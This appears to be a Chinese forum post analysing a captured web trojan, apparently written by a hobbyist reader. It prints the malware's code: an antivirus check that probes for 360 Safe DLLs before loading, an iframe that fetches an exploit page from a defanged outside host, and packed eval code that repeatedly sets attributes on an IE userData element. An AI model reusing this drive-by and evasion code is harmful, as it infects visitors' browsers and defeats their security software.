以上是检测代码
以下是静态对抗杀软代码,如果检测到360就不加载恶意代码,如果没有检测到就继续
- var bSafe = true;
- function openWin() {
- knownImg = {}
- knownImg.resList = [
- {id: 'c1safe', res: 'res://c:\\Program%20Files\\360\\360Safe\\repairleakdll.dll/GIF/154'},
- {id: 'd1safe', res: 'res://d:\\Program%20Files\\360\\360Safe\\repairleakdll.dll/GIF/154'},
- {id: 'e1safe', res: 'res://e:\\Program%20Files\\360\\360Safe\\repairleakdll.dll/GIF/154'},
- {id: 'c2afe', res: 'res://c:\\Program%20Files\\360Safe\\live.dll/#2/#203'},
- {id: 'd2safe', res: 'res://d:\\Program%20Files\\360Safe\\live.dll/#2/#203'},
- {id: 'e2afe', res: 'res://e:\\Program%20Files\\360Safe\\live.dll/#2/#203'}
- ];
- knownImg.ok_resList = new Array();
- knownImg.tmp_resList = new Array();
- knownImg.checkSoft = function(){
- if (document.all){
- x = new Array();
- for (i = 0; i < knownImg.resList.length; i++){
- x[i] = new Image();
- x[i].src = "";
- knownImg.ok_resList.push(knownImg.resList[i].id);
- x[i].onload = function(){
- //alert(knownImg.resList[i].id + ': return true');
- }
- x[i].onerror = function(){
- //alert(knownImg.resList[i].id + ': return false');
- knownImg.ok_resList.pop();
- }
- x[i].src = knownImg.resList[i].res;
- }
- }
- }
- knownImg.checkSoft();
- if(knownImg.ok_resList.length>0)
- {
- //alert(knownImg.ok_resList);
- //document.write('finded:<br />'+knownImg.ok_resList.join('<br />'));
- bSafe = false;
-
- }else{
- //alert('no');
- bSafe = true;
- }
-
- }
- openWin();
复制代码 总的代码里包含了Cookie,24小时内只加载一次代码,静态对抗杀软方法,至于网马的位置,关键的的地方是
- var url = "boom-2.html?id=" + id;
- var ifra = document.getElementById("myboom");
- ifra.src = url;
复制代码
这里包含了一个id,id是一个变量,尝试下从代码里找
- if(id >= 100 && id <=102)
复制代码
如果id大于等于100,小于等于102
我们假设id=100得到url
- hxxp://ad7.alimama.vu.cx:171/win7/boom-2.html??id=100
复制代码 得到代码
- <HTML>
- <BODY><BUTTON id=aaa style='DISPLAY: none' onclick=a1();></BUTTON>
- <script language="JavaScript">
- var self_url = document.location.href.toLowerCase();
- var strid = new Array();
- strid = self_url.split("?id=");
- var id = strid[1];
- document.writeln("<script src=\'"+id+"/a.jpg\'><\/script>");
- </script>
- <script src='pps.js'></script>
- <SCRIPT language=javascript>
- var a4 = YTshell;
- eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('9 a(){8();7 0=4.5(\'6\');0.b(\'#c#i\');4.f(0);d{0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1);0.2(\'3\',1)}h(e){}1.g+=\'\'}',19,19,'a7|window|setAttribute|s|document|createElement|body|var|ac2|function|a1|addBehavior|default|try||appendChild|status|catch|userData'.split('|'),0,{}))
- document.getElementById('aaa').onclick();
- </SCRIPT>
- </BODY></HTML>
复制代码- document.writeln("<script src=\'"+id+"/a.jpg\'><\/script>"); //这里a.jpg就应该是100a.jpg因为上面的id=100
复制代码 以上是个人看法,如果有说错的地方,还望大牛指正!
|